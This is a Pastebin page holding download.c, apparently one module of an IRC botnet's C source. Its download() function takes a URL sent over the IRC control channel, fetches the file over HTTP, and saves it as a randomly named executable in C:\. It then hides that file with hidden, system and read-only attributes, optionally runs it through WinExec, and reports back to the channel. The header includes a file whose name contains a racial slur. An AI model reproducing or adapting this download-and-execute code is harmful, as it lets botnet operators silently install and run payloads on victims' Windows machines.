Advertisement
FlyFar

download.c

Dec 23rd, 2023
537
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.40 KB | Cybersecurity | 0 0
  1. /*
  2.  *      download.c 2007 Ravo_5002
  3.  *      This code is for educational purposes only...
  4.  */
  5.  
  6. #include <stdio.h>
  7. #include <winsock.h>
  8. #include <windows.h>
  9.  
  10. #include "download.h"
  11. #include "niggerbot.h"
  12. #include "config.h"
  13.  
  14.  
  15. void download(SOCKET ircconn, char *url) {
  16.     strtok(url, "//");
  17.     char *srv = strtok(NULL, "/");
  18.     char *path = strtok(NULL, " ");
  19.     char *exeflag = strtok(NULL, "\n");
  20.    
  21.     struct hostent *hp;
  22.     unsigned int addr;
  23.     struct sockaddr_in server;
  24.     SOCKET webconn;
  25.     webconn = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  26.     if(webconn == INVALID_SOCKET) {
  27.         return;
  28.     }
  29.     hp = gethostbyname(srv);
  30.  
  31.     server.sin_addr.s_addr=*((unsigned long*)hp->h_addr);
  32.     server.sin_family=AF_INET;
  33.     server.sin_port=htons(80);
  34.     if(connect(webconn,(struct sockaddr*)&server,sizeof(server))) {
  35.         return;
  36.     }
  37.  
  38.     char buff[4096];
  39.     sprintf(buff, "GET /%s HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)\r\nHost: %s:80\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAccept-Encoding: gzip\r\nAccept-Language: en\r\nAccept-Charset: iso-8859-1,*,utf-8\r\n\r\n", path, srv);
  40.     send(webconn,buff, strlen(buff), 0);
  41.     char location[20];
  42.     sprintf(location, "C:\\%s.exe", randnick());
  43.     FILE *file=fopen(location, "wb");
  44.     char buf[1024];
  45.     unsigned char bufm[4096];
  46.     int i, d;
  47.     while(1) {
  48.         int i;
  49.         if ((i = recv(webconn, bufm, 4096, 0)) <= 0) break;
  50.         if (i < 4096) bufm[i]=0;
  51.         for (d=0;d<i;d++) if (!strncmp(bufm+d, "\r\n\r\n", 4)) {
  52.             for (d+=4;d<i;d++) {
  53.                 fputc(bufm[d],file);
  54.             }
  55.             while(1) {
  56.                 int i,d;
  57.                 if ((i=recv(webconn, bufm, 4096, 0)) <= 0) break;
  58.                 if (i < 4096) bufm[i]=0;
  59.                 for (d = 0; d < i; d++) {
  60.                     fputc(bufm[d], file);
  61.                 }
  62.             }
  63.             fclose(file);  
  64.             closesocket(webconn);
  65.             if(exeflag) {
  66.                 SetFileAttributes(location ,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY);
  67.                 WinExec(location, 0);
  68.                 sprintf(buff, "PRIVMSG %s :Succesfully downloaded file to %s and executed...\n", CHANNEL, location);
  69.                 send(ircconn,buff, strlen(buff), 0);
  70.                 return;
  71.             }
  72.             SetFileAttributes(location ,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY);
  73.             sprintf(buff, "PRIVMSG %s :Succesfully downloaded file to %s...\n", CHANNEL, location);
  74.             send(ircconn,buff, strlen(buff), 0);           
  75.             return;
  76.         }
  77.     }
  78.     return;
  79. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement